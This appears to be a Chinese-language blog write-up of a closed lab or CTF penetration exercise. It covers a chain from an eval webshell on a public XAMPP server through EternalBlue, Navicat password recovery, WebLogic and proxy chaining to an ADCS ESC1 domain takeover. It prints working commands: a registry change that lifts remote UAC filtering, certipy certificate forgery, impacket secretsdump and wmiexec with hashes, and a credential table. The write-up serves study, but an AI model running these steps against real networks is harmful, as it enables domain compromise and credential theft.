内网渗透小记

内网+域环境渗透,小白记录

一、外网打点(flag1)

已知信息:目标企业的公网 ip:171.20.60.11,已有设备 kali 和 windows。

根据已有信息只有公网这一个资产,首先用 nmap 扫一下端口;同时直接用浏览器访问公网看看,没准开启了 web 端口。发现可以直接访问,是个 XAMPP。

Pasted image 20261029164241

进行指纹识别看看,同时进行目录扫描。

Pasted image 20261029184819
Pasted image 20261029184813
Pasted image 20261029184841

查看版本后,Apache 2.4.58 没有可直接利用的 rce,php 的版本也很新。
有个 xd.php 比较可疑,xampp 默认 htdocs 里没有 xd.php,应该是管理员添加的。

Pasted image 20261029185757

纯文本输出,变量 pass 在第一行被取用,没有 isset() 判断,没有做输入校验,给了一个绝对路径,后面可能用得到,可以假设为 <?php if($_GET['pass']=='xxx'){...}?>。需要一个 pass,可以去猜一下。

传入了 pass=1,也是一样的结果,那么不是 GET,也不是 REQUEST,否则 ?pass=1 就定义了,只剩 POST 了,尝试 POST。

Pasted image 20261029191907

错误发生在 eval() 的参数字符串里,不是文件代码,pass 的值被当成 php 代码执行了。
那么就不是判断而是传递参数,假设为 <?php eval($_POST['pass']); ?>[1]

那么继续用 POST 传递参数尝试 RCE。

Pasted image 20261029192642
Pasted image 20261029192752
Pasted image 20261029192902

完全可以,尝试进行远程连接上线 cs。

Pasted image 20261030182230

上线成功,至此拿到服务器控制权,flag1 到手。

二、2 段:128 永恒之蓝 / 129 Navicat(flag2、flag3)

在此基础上进行信息收集:查看本机信息、路由表、arp 缓存,在 arp 缓存中发现了 2.0 网段。

Pasted image 20261030184317

随后围绕 2.0 网段用 fscan 展开扫描。

Pasted image 20261030184421

发现了两个有用的目标:128 和 129。两台都开了 135/139/445,都是 windows,没开 RDP,所以只能从 445 的 SMB 入手。128 命中了 ms17-010 永恒之蓝,可以直接利用。

Pasted image 20261030192037
Pasted image 20261030192104

上传 agent 并连接,proxychains 指向 1090,使用 msf 拿下,并派生到 cs,拿到 flag2。

128 上的信息收集

接下来还有个同网段的 129,但在 128 上做信息收集没找到任何可用信息,除了一个 129,那么就接着尝试。

试了 smb 认证,没找到登录凭证;没有 admin 的 token 可以用,挂载注册表也失败;查看装机列表也没有有价值的程序。net user 只发现 admin 和 guest。

接着试一下 PTH,抓取本地哈希复用给 129。

Pasted image 20261102165018

PTH 认证失败,但 banner 里暴露了 Windows 10 / Server 2019 build 18362 = Windows 10 1903。查版本漏洞后发现在 SMBGhost(CVE-2020-0796)的影响范围内——这是 SMBv3 压缩处理的问题,影响 1903 和 1909,理论上可以直接获取 shell。

Pasted image 20261102165517

可以直接用现有的代理打。

屏幕截图 2026-11-02 173409

但是很遗憾利用失败,只探到服务在跑,没验证出漏洞,这条路放弃。

换思路:从注册表里抠数据库密码

寻找其他方法(后面的部分试错就不贴图了)。

dir 查看了安装的软件,没看到有用软件,只有系统自带 + cain + winpcap,没有能存数据库密码的东西(这里只看了 x86 目录)。

尝试读管理员的注册表,被权限限制。beacon 虽然是 SYSTEM,但这个 token 是被过滤过的,SeRestorePrivilege 不在里面;ps 里全是服务进程,但是 winlogon.exe 跑在完整的 SYSTEM 下,可以偷他的 token,再挂注册表就成功了。

Pasted image 20261102190118
Pasted image 20261102190518

用工具直接猜一下路径,能执行那确实是装了 Navicat,挂上注册表后确实查到了。发现用户 root,密码被加密。

先确认版本为 Navicat Premium 16。pwd 只有 9 个字节,按 Navicat 11 的 blowfish 格式解出来是乱码,又试了 DES、换 KEY,均失败。

回头查看 64 位程序目录的时候找到了 premiumsoft,那么 Navicat 确实装了。

屏幕截图 2026-11-02 180601 1

ola 里有 Navicat-Password,但是这些工具都只读 HKCU,而 beacon 是 SYSTEM,HKCU 是 SYSTEM 自己的,无果。
但是可以尝试把管理员的注册表搬到 SYSTEM 的 HKCU 里。并且文件浏览发现了工具,是一个后渗透阶段的密码提取工具——放个这个在桌面就很刻意。当然真实环境用其他工具也是一样的,只是本题封闭环境只有这个可用,没这个还真解不了。
bf52cb84188790548ada5aeba6e06c96
Pasted image 20261102191102

可以直接用工具跑。

Pasted image 20261102191207

解出来 MySQL 和 SQL Server 是同一个密码:zwxa@2026。 拿这个密码去打 129。

Pasted image 20261102191324

是 admin,并且 C$ 是 READ、WRITE,因此可以上传文件再执行,成功上线 cs。

Pasted image 20261102191447
Pasted image 20261102191515

至此拿到三台机器,flag3 到手。

三、3 段:WebLogic 与代理链(flag4)

接下来在 129 上继续做内网信息收集。

Pasted image 20261103153654

找到了 3.0 的网段,使用 fscan 收集网段信息。

Pasted image 20261104115053

3.133 开启了五个端口,并且 7001 是个 WebLogic。

先继续使用 venom 把 3 段接到 kali:依旧上传 agent.exe,然后在 beacon 中执行,之后可以在 venom 中看到两个节点,使用 1091。

Pasted image 20261103163943

proxychains 不支持按目标分流,所以要共存只能靠多份配置文件,复制一份改 ProxyList 为 1091,之后就可以先打指纹。

Pasted image 20261104141312

没有 Server 字段——正常的 WebLogic 会在响应头里报版本。

用 Proxifier 把 win7 攻击机接入代理链

win7 攻击机上有 weblogic 的工具和代理工具,考虑使用 proxifier 把它接入代理链。

屏幕截图 2026-11-03 164928

将 default 的 action 改成 direct,只有 web3 这一条走代理,其余直连。

屏幕截图 2026-11-03 170337
屏幕截图 2026-11-03 170337
Pasted image 20261104143025

配置完成后访问控制台并查看日志,控制台界面给出了具体的 server 版本 12.1.3.0.0。

下一步使用 win 攻击机上的 weblogic 工具尝试(真实环境有很多类似工具)。

Pasted image 20261104143150
Pasted image 20261104143154

成功拿到 admin 权限,先继续收集有用信息。

Pasted image 20261104143508

DNS 指向 10.10,那这台就是 10 网段的入口,域控基本就在这个地址上。但是在路由表里没有看到 10 网段——说明它是靠默认路由出去的,不是直连。

接下来让 133 上线到 cs 看看。

Pasted image 20261104150209
Pasted image 20261104150223

上传成功后成功上线到 cs。

Pasted image 20261104150339

由此拿到第四个 flag。

四、10 段:SQL Server 落地(flag5 / flag6)

前面在 ip 信息中 DNS 显示有 10 网段,使用 fscan 扫描发现两个目标。

Pasted image 20261104161014

  • 10.12 是 SQL Server,fscan 直接爆破出账号密码:sa / Aa123456
  • 10.10 是 DC 服务器,可以使用 ms17-010

先打 12。在 133 的 beacon 中开一层 socks,注意这里默认开启的是 socks4a,在 kali 上的 proxychains 配置要同步为 socks4,否则会连不上(表现为端口显示 closed)。

Pasted image 20261104162904
Pasted image 20261104162859

然后用账号密码连接数据库,成功连接。

Pasted image 20261104163238

之后可以查找 flag,找到,尝试去上线 cs。但目前 10.12 只能通 133,通不到 kali。

Pasted image 20261104164319

链路应该是 10.12 → 133 → 129 → kali。
在 133 上开反向端口转发,转给 kali,同时 cs 创建对应的端口监听,生成 stageless exe,准备让 10.12 来拉取。

Pasted image 20261104174020

但是这样直接通过 tmp 拉取会受到 UAC 的远程限制:windows 默认把本地管理员从网络登录降权,所以虽然 tmp 在 admin 组里,通过远程连接还是普通用户的身份。需要在 133 上加注册表开关:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

然后再去拉取、复制、执行。

Pasted image 20261104175432

成功上线。

Pasted image 20261104175453

试打 DC 的 MS17:超时

之前在 133 上面看到了 DNS 10,那可以尝试用 133 的链路去打 10 看看,先试试 ms17。

Pasted image 20261104180017

成功探测到,使用 rportfwd 开个裸 TCP 通道到 133,但是实际上一直超时、利用不了——说明漏洞标记命中 ≠ 能打通,2016 的内核跟这个 exp 不兼容。
后面通过12的链路结果也是一样,遂放弃

Pasted image 20261104181346

五、转向域控:ADCS 与 WinRM 的尝试

转换思路:12 提权去抓 sqlserver 的 NTLM,kerberoast 拿 TGS 破解去打进 DC。

先看一下 443,如果是 ADCS,那么 ESC8 加中继就能直接拿域管。

Pasted image 20261104184148

但是中继把 NTLM 给 /certsrv,petitPotam 只能让目标连接 SMB 的 445,目前 445 被占用,没法用来做监听——试过停 lanmanserver,服务停了端口还被 PID 4(内核)占着,不重启释放不出来。换其他思路再看看。

fscan 中的默认端口列表里没有 LDAP,所以可能 389/636 是开启的,去补扫一下。

Pasted image 20261104184426

5985 是 WinRM,有域凭据就能直接在 DC 上执行命令,接下来去抓凭据。
思路是:提权 → sekurlsa 抓 sqlserver 的 NTLM → evil-winrm 打 5985 → DC 执行。

实践过了也不行,账号全开了预认证(GetNPUsers 返回 doesn't have UF_DONT_REQUIRE_PREAUTH),AS-REP Roasting 走不通。

六、试错记录

[!note] 后面试错的过程快速说一下

  • AS-REP 走不通,回看 12:sqlserver 这个域账号的密码多半是存在 LSA Secrets 里的。想要不碰 LSASS、直接从注册表 hive 导出来做离线破解,拿到 Msql!@#45。
    屏幕截图 2026-11-04 190507

  • 但这个密码登录不上。如果服务是在改密码之前配置的,LSA 里存的就是旧密码,那现在就用不了(52e)。

  • 上面信息里还有 DCC2 缓存哈希,强硬爆破不出来。

  • 机器账号 SQLSERVER$ 的 NTLM 做 PTH 还是 52e。

  • 想用 mimikatz 直接读内存被保护拦住:不存在 PPL,确认 SeDebugPrivilege 已启用,还是不行——LSASS 应该是被 Credential Guard 那一类保护,与权限无关。

七、证书路线:certutil → certipy → ESC1(flag7)

整理思路重新信息收集。

  • mssql 在域 ZWXA.COM 中,域控为 dc.zwxa.com,域内管理员只有 administrator。

  • 查看域内注册的 spn,发现当前 sqlserver 是一个服务用户,注册了 spn(MSSQLSvc/SQLSERVER.zwxa.com:1433)。
    Pasted image 20261105171811

  • 查看 MSSQL 证书文件,返回两个以当前用户身份申请的证书文件,说明域内存在证书服务。
    Pasted image 20261105172041

  • 考虑把证书文件导出:上传 certipy.exe 到 MSSQL 服务器,导出证书。
    Pasted image 20261105172151

  • 上一步拿到了 sqlserver 系统中的证书,此证书注册在 user 模板并且导出的证书包含私钥,所以可以通过此证书获取 sqlserver 用户的 TGT 以及 NTLM Hash。
    Pasted image 20261105172540

  • 然后对 dc 进行进一步信息收集。

  • 用 AdFind 查询非约束委派的主机或服务用户:存在非约束委派的主机用户有 DC$ 和 SQLSERVER$,域中不存在非约束委派的服务用户。

  • 查询域中配置了约束委派的主机,并且可以看到被委派的 SPN。

屏幕截图 2026-11-05 173401

然后收集证书模板漏洞,存在多个证书模板漏洞,其中 sqlserver 证书模板存在 ESC1 漏洞,那么接下来可以进行利用。

关键命令

# 看当前用户证书
certutil -user -store my

# 导出带私钥的 PFX(哈希要全大写,小写会报 NTE_NOT_FOUND)
certutil -user -exportPFX -p 123456 <证书哈希> C:\users\sqlserver\sqlserver.pfx

# 证书换 sqlserver 的 TGT + NTLM
C:\Certipy.exe auth -pfx C:\users\sqlserver\sqlserver.pfx -password 123456 -dc-ip 192.168.10.10

# ESC1:把使用者伪造成域管
C:\Certipy.exe req -u sqlserver@zwxa.com -hashes aad3b435b51404eeaad3b435b51404ee:817e24408b86f217fab5bab98f162056 ^
  -dc-ip 192.168.10.10 -target 192.168.10.10 -ca zwxa-DC-CA -template SQLSERVER ^
  -upn Administrator@zwxa.com -dns DC.zwxa.com

# 用新证书换域管哈希(0 = Administrator,1 = DC$;-no-save 避免覆盖询问)
echo 0 | C:\Certipy.exe auth -pfx C:\Windows\Temp\administrator_dc.pfx -dc-ip 192.168.10.10 -no-save

先用 ESC1 给域管理员 administrator 申请证书,现在这张证书同时具备域管理员身份和 DC 的机器身份。

Pasted image 20261105174355

然后获取 administrator 的 hash。

Pasted image 20261105174425

然后直接换 hash。

Pasted image 20261105174830

这样拿到的就是域管 hash 了,然后用哈希传递直接登录域控。

Pasted image 20261105174911

收尾

# 整域哈希(含 krbtgt)
impacket-secretsdump -hashes :f62e969416c0ba6bb855d453d7149072 \
  zwxa.com/Administrator@192.168.10.10 -just-dc

# 直接拿 DC 的 shell
impacket-wmiexec -hashes :f62e969416c0ba6bb855d453d7149072 \
  zwxa.com/Administrator@192.168.10.10

这样就拿到 10 的 shell 了,之后可以把整域的哈希 dump 下来,借用 10.12 中转上传 stageless exe 到 DC 执行上线 CS。

Pasted image 20261105175133

至此打完整个域,flag7。另外 flag6 在 12 下的 admin.zwxa 的桌面下,12 有俩 flag 分别对应两个权限。

复盘

拓扑

公网 171.20.60.11
└── 130  XAMPP(Server 2012)       
    └── 2.0 段
        ├── 128  Win7(MS17-010)
        └── 129  Win10 1903(Navicat 密码复用)
            └── 3.0 段
                └── 133  WebLogic 12.1.3.0.0(7001)
                    └── 10 段
                        ├── 10.12  SQL Server 2016(成员机)
                        └── 10.10  DC(Server 2016)

代理链

落地机 socks 端口 配置文件 通向 备注
130 1090 /etc/proxychains4.conf 2.0 段 Venom
129 1091 /etc/pc3.conf 3.0 段 Venom
133 1093 /etc/pc4.conf 10 段 CS socks,默认 socks4a
10.12 1095 /etc/pc5.conf DC CS socks

凭据汇总

账号 密码 / 哈希 用途
sa(SQL Server) Aa123456 fscan 爆破得到,10.12 的入口
Administrator(129 本地) zwxa@2026 从 Navicat 配置里提取,MySQL/MSSQL 同密码
zwxa\sqlserver 817e24408b86f217fab5bab98f162056 证书换出来的 NTLM
zwxa\Administrator f62e969416c0ba6bb855d453d7149072 ESC1 换出来的域管哈希

最短路径:

外网 webshell → 2 段 → 3 段 → 10 段 SQL Server
→ certutil 导证书 → certipy auth 换 hash → certipy req 打 ESC1
→ 域管 hash → wmiexec 进 DC

过程中还是想法太单一了,sqlserver是域用户,当时执着于拿到密码,其实只要拿到哈希就可以。凭据只是获取身份的一种方式,证书,票据,ACL都能达成同一个目的。
当时看到/certrsv返回401+ntlm只知道esc8中继,ESC8只是ADCS的一种用法,ADCS还能直接发证书,可以走PKINIT换TGT
信息收集也没有做好,当时拿到的sqlserver上本来就有一张CA签发的证书

继续努力吧,长路漫漫任重道远,好焦虑,好焦虑,好焦虑,好焦虑,好焦虑
532f3280120a0253f02c7749b7315eda


  1. eval()'d code 说明报错发生在 eval() 的参数字符串内部,即 pass 的值被当作 PHP 代码解析执行。进一步地,传入 1 时报 unexpected end of file,说明 eval 收到的字符串就是 1 本身。如果代码里做了拼接(比如 eval($_POST['pass'].";") 或 eval("echo ".$_POST['pass'])),1 会被补成合法语句而不报错。既然报错了,就证明前后没有加任何东西。因此 pass 不是用来比对的凭据,而是直接传给 eval() 的代码体,脚本等价于 <?php eval($_POST['pass']); ?> ↩︎

posted @ 2026-11-06 18:56  Even1ngPrimr0se  阅读(12)  评论(0)    收藏  举报